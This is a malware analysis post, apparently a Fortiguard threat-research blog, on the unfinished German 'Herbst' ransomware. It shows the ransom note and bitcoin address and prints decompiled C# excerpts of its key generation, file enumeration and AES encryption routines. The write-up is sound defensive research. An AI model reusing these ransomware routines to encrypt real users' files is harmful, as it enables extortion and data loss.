Cooking Up Autumn (Herbst) Ransomware

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Threat Research

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Fortiguard's behavior-based system designed to identify new malware has detected a German targeted ransomware. We named it *Herbst,* a German word which in English means Autumn.

Ransom Note

The Herbst ransom note appears in German in a dedicated window from its own running process. It demands that a ransom be paid in bitcoin. We have also been able to determine the bitcoin address. Ransome note details are listed below:

File encryption: AES 256 bit

Ransom Price: 0.1 Bitcoin or approximately USD \$53.80 as of today.

Bitcoin Address: 18uM9JA1dZgvsgAaeeW2XZK13dTbk1jzWq

Encrypted	×
Ihr Computer wurde soeben AES 256bit verschlüsselt, das beudeutet das ihre Daten unbrauchbar sind und nur mit dem endsprechenden Schlüssel wiederhergestellt werden können. Man könnte die Daten selber entschlüsseln, aber dies würde mit momentan Technischen Stand minst. 100Jahre Dauem. Daher sind wir so frei und stellen ihn den Entschlüssellungkey gegen eine kleine Bearbeitungsgebühr zu verfügung, Sollten Sie dankend auf dieses Angebot verzichten möchten wir sie geme nochmal dadrauf hinweisen das auch unser WebSpeicher begrenzt ist und	3 •
wir deswegen bedauerlicher Weise ab und an Daten löschen müssen. Senden Sie 0,1 Bitcoin an Folgende Bitcoin Adresse um ihren Encryptionkey zu erhalten. Nachdem Sie ihre Bitcoin an die Adresse geschickt haben tragen sie die Transaktionsid in die Textbox ein und klicken auf Decrypt.	•
, Ihre TransaktionsID:	
Decrypt	

Figure 01: Ransom Note

Key Preparation

The key is prepared by concatenating two random numbers from 0 to 99999999. Next, it concatenates strings in random positions from the *text* variable, *text.length* times, as seen below. This key is hashed later and used as the AES key.

```
private void Form1_Load(object sender, EventArgs e)
    string location = Assembly.GetExecutingAssembly().Location;
    byte[] bytes = File.ReadAllBytes(location);
    string @string = Encoding.Default.GetString(bytes);
    Random random = new Random();
string text = "小证明你KiiNGDeZz犯罪网络最喜欢的精英用户abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"$%&/()=?*'^@@♥♥+++++o【•+++5]|0■";
    this.key = Conversions.ToString(random.Next(0, 999999999)) + Conversions.ToString(random.Next(0, 99999999));
    int num = 0;
    checked
    {
         int num4;
         int arg_B6_0;
         do
             int arg_67_0 = 0;
int num2 = text.Length - 1;
int num3 = arg_67_0;
             while (true)
                 int arg_A5_0 = num3;
                 num4 = num2;
                 if (arg_A5_0 > num4)
                 {
                     break:
                  this.key += Conversions.ToString(text[random.Next(0, text.Length - 1)]);
                 num3++;
```

Figure 02: Key Preparation Function

Targeted Directories

After preparing the key, Herbst proceeds to enumerate files from the StartupPath. It encrypts all kinds of files in this directory, as shown by "*.*".

It encrypts file in the following special folders:

Desktop, MyPictures, MyMusic, and Personal

```
while (arg_B6_0 <= num4);
try
{
    DirectoryInfo directoryInfo = new DirectoryInfo(Application.StartupPath);
    FileInfo[] files = directoryInfo.GetFiles("*.*", SearchOption.AllDirectories);
    for (int i = 0; i < files.Length; i++)
    {
        FileInfo fileInfo = files[i];
        try
        {
            this.crypt(fileInfo.Name);
        }
}</pre>
```

Figure 03: File Enumeration

Encrypted File

The ransomware encrypts files and appends the extension to .herbst.

Organize ▼ Include in library ▼ New folder										
☆ Favorites	Name	Size	Item type							
🧮 Desktop	Systracer.Ink.herbst	2 KB	HERBST File							
🐌 Downloads	python-2.7.11.msi.herbst	24,267 KB	HERBST File							
🗐 Recent Places	PCHunter32.exe.herbst	9,205 KB	HERBST File							

Figure 04: Encrypted File Sample

File Encryption

The encryption starts by reading the file and calling the function AES_Encrypt.

```
public object crypt(string path)
{
    byte[] bytes = File.ReadAllBytes(path);
    string @string = Encoding.Default.GetString(bytes);
    string s = this.AES_Encrypt(@string, this.key);
    byte[] bytes2 = Encoding.Default.GetBytes(s);
    BinaryWriter binaryWriter = new BinaryWriter(File.Open(path + ".herbst", FileMode.CreateNew));
    try
    {
        binaryWriter.Write(bytes2);
        binaryWriter.Flush();
    }
}
```

Figure 05: Encryption Function

The malware then proceeds to hash the *key* generated from the previous function, and this is used as the AES key for encrypting the files. After the file is encrypted with AES 256 bit, the malware then converts it to Base64String.

```
public string AES_Encrypt(string input, string pass)
    RijndaelManaged rijndaelManaged = new RijndaelManaged();
    MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
    string result;
    try
    {
        byte[] destinationArray = new byte[32];
        byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(pass));
        Array.Copy(sourceArray, 0, destinationArray, 0, 16);
        Array.Copy(sourceArray, 0, destinationArray, 15, 16);
        rijndaelManaged.Key = destinationArray;
        rijndaelManaged.Mode = CipherMode.ECB;
        ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
        byte[] bytes = Encoding.ASCII.GetBytes(input);
        string text = Convert.ToBase64String(cryptoTransform.TransformFinalBlock(bytes, 0, bytes.Length));
        result = text;
```

Figure 06: AES Encryption Function

Original File Structure:

.00400000:	4D	5A	90	00-03	00	00	00-0	4 00	00	00-FF	FF	00	00	∐ZÉ ♥	•	
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00400080:	EB	BS	36	40-AF	D9	54	19-61	F D9	54	19-AF	D9	54	19	δa t Jor	TIM	TIMITI
00400090:	12	96	C2	19-AC	D9	54	19-B	8B	DØ	19-AB	D9	54	19	±û⊤↓%-'	T.L. I	μίχ ^μ τί
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.004000C0:	A6	A1	D7	19-7C	D9	54	19-A	6 A1	DE	19-84	D9	54	19	£[↓]	I↓ ≏í	↓ä [⊥] T↓
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Figure 07: File Structure Before and After Encryption

Unfinished Business

This malware, written in C#, shows it's unfinished because it has the following functions, but never calls them in the main function:

- *Encrypt* believed to be the function in encrypting the AES key used before sending to the Command and Control (C&C.)
- Unlock believed to be the decryption of the incoming traffic from the C&C.
- *Http* believed to be used to send and receive encrypted messages to the C&C.



Figure 08: Malware Functions

Yes, the malware encrypts files and shows the decryption note; however ,it doesn't send the AES key used to its C&C, and doesn't verify the transaction ID when used in the ransom window, making this an unfinished ransomware.

Conclusion

Our analysis shows that cybercriminals could be cooking a ransomware targeting a German audience. From the analysis, we conclude that Herbst is a beta version which is still under development. The malware doesn't provide any details on its C&Cs because it doesn't call the HTTP function. We speculate that this version could just be a test to check AV vendors' ability to detect it without giving away their C&C.

Fortiguard will continue to monitor Herbst future activities and developments.

File detection: W32/Herbst.A!tr

SHA256: 18605f7a5a47ac16f722e3ec8a42121035bb95f731aaad5090c5e11104fc3185

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